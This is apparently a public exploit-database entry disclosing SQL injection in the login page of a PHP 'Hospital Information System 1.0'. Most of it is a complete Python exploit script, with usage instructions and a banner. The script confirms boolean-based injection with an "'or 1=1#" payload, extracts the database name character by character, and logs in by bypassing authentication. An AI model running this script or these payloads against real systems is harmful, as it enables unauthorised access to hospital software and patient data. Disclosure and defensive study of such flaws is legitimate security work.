Hospital Information System 1.0 SQL Injection

2022.07.26
Credit: saitamang
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Hospital Information System - SQL Injection via login page # Date: 25/07/2022 # Exploit Author: saitamang # Vendor Homepage: https://code-projects.org # Software Link: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip # Version: 1.0 # Tested on: Centos 7 apache2 + MySQL import requests, string, sys, warnings, time, concurrent.futures from requests.packages.urllib3.exceptions import InsecureRequestWarning warnings.simplefilter('ignore',InsecureRequestWarning) dbname = '' req = requests.Session() def login(ip,username,password): target = "http://%s/HIS/includes/users/UsersController.php" %ip data = {'type':'login','username':username,'password':password} response = req.post(target, data=data) if 'success' in response.text: print("[$] Success Login with credentials "+username+":"+password+"") else: print("[$] Failed Login with credentials "+username+":"+password+"") def check_injection(): # library inj test_query0 = "'or 1=2#" test_query1 = "'or 1=1#" target = "http://%s/HIS/includes/users/UsersController.php" %ip result = "" for i in range(2): if i==0: data = {'type':'login','username':username,'password':test_query0} response = req.post(target, data=data) if response.text=="success": result = response.text else: pass if i==1: data = {'type':'login', 'username':username,'password':test_query1} response = req.post(target, data=data) if response.text=="success": result = response.text else: pass if result=="success": print("[##] SQLI Boolean-Based Present at password field :)") else: print("[##] No SQLI :)") def brute(dbname): target = "http://%s/HIS/includes/users/UsersController.php" %ip l=0 no = [int(a) for a in str(string.digits)] # checking length of dbname for i in no: # 0-9 payload = "'or 1=1 and length(database())='"+ str(i) +"'#" #print(payload) data = {'type':'login','username':username,'password':payload} response = req.post(target, data=data) result = response.text if result=="success": print("[##] The correct length of DB name is "+str(i)) l=i break else: print("[##] The length of DB name "+str(i)+" is wrong") pass char = [char for char in string.ascii_lowercase] dbname = [] for i in range(l): for j in char: payload = "'or 1=1 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#" data = {'type':'login','username':username,'password':payload} response = req.post(target, data=data) result = response.text if result=="success": dbname.append(j) print("[+] The " + str(i+1) + " char of DB name is "+str(j)) break else: pass dbname = ''.join(dbname) print("[+] Database name retrieved --> "+dbname) print("[+] Bypass completed :)") print("[+] Bypass payload can be used is \n'or 1=1#") password = "'or 1=1#" print("\nRetry to login with new payload in password field") login(ip,username,password) if __name__ == "__main__": print(" _____ _ __ ") print(" / ___/____ _(_) /_____ _____ ___ ____ _____ ____ _") print(" \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/") print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ") print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / ") print(" /____/ \n\n") try: ip = sys.argv[1].strip() username = sys.argv[2].strip() password = sys.argv[3].strip() login(ip,username,password) check_injection() brute(dbname) except IndexError: print("[-] Usage %s <ip> <username> <password>" % sys.argv[0]) print("[-] Example: %s 192.168.100.x admin admin123" % sys.argv[0]) sys.exit(-1)


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